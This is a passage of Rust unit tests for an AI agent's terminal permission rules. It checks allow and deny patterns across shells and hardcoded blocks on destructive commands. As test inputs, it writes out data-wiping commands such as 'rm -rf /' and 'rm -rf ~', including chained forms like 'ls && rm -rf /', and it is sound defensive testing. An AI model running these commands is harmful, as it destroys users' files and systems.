1007        t("ls")
1008            .deny(&["rm"])
1009            .mode(ToolPermissionMode::Allow)
1010            .shell(ShellKind::Nushell)
1011            .is_allow();
1012    }
1013
1014    #[test]
1015    fn elvish_denies_when_always_allow_configured() {
1016        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_deny();
1017    }
1018
1019    #[test]
1020    fn multiple_invalid_patterns_pluralizes_message() {
1021        let mut tools = collections::HashMap::default();
1022        tools.insert(
1023            Arc::from("terminal"),
1024            ToolRules {
1025                default_mode: ToolPermissionMode::Allow,
1026                always_allow: vec![],
1027                always_deny: vec![],
1028                always_confirm: vec![],
1029                invalid_patterns: vec![
1030                    InvalidRegexPattern {
1031                        pattern: "[bad1".into(),
1032                        rule_type: "always_deny".into(),
1033                        error: "err1".into(),
1034                    },
1035                    InvalidRegexPattern {
1036                        pattern: "[bad2".into(),
1037                        rule_type: "always_allow".into(),
1038                        error: "err2".into(),
1039                    },
1040                ],
1041            },
1042        );
1043        let p = ToolPermissions { tools };
1044
1045        let result =
1046            ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix);
1047        match result {
1048            ToolPermissionDecision::Deny(msg) => {
1049                assert!(
1050                    msg.contains("2 regex patterns"),
1051                    "Expected '2 regex patterns' in message, got: {}",
1052                    msg
1053                );
1054            }
1055            other => panic!("Expected Deny, got {:?}", other),
1056        }
1057    }
1058
1059    // Hardcoded security rules tests - these rules CANNOT be bypassed
1060
1061    #[test]
1062    fn hardcoded_blocks_rm_rf_root() {
1063        // rm -rf / should be blocked by hardcoded rules
1064        t("rm -rf /").is_deny();
1065    }
1066
1067    #[test]
1068    fn hardcoded_blocks_rm_rf_home() {
1069        // rm -rf ~ should be blocked by hardcoded rules
1070        t("rm -rf ~").is_deny();
1071    }
1072
1073    #[test]
1074    fn hardcoded_cannot_be_bypassed_by_global() {
1075        // Even with always_allow_tool_actions=true, hardcoded rules block
1076        t("rm -rf /").global(true).is_deny();
1077        t("rm -rf ~").global(true).is_deny();
1078    }
1079
1080    #[test]
1081    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1082        // Even with an allow pattern that matches, hardcoded rules block
1083        t("rm -rf /").allow(&[".*"]).is_deny();
1084    }
1085
1086    #[test]
1087    fn hardcoded_allows_safe_rm() {
1088        // rm -rf on a specific path should NOT be blocked
1089        t("rm -rf ./build")
1090            .mode(ToolPermissionMode::Allow)
1091            .is_allow();
1092        t("rm -rf /tmp/test")
1093            .mode(ToolPermissionMode::Allow)
1094            .is_allow();
1095    }
1096
1097    #[test]
1098    fn hardcoded_checks_chained_commands() {
1099        // Hardcoded rules should catch dangerous commands in chains
1100        t("ls && rm -rf /").is_deny();
1101        t("echo hello; rm -rf ~").is_deny();
1102        t("cargo build && rm -rf /").global(true).is_deny();
1103    }
1104}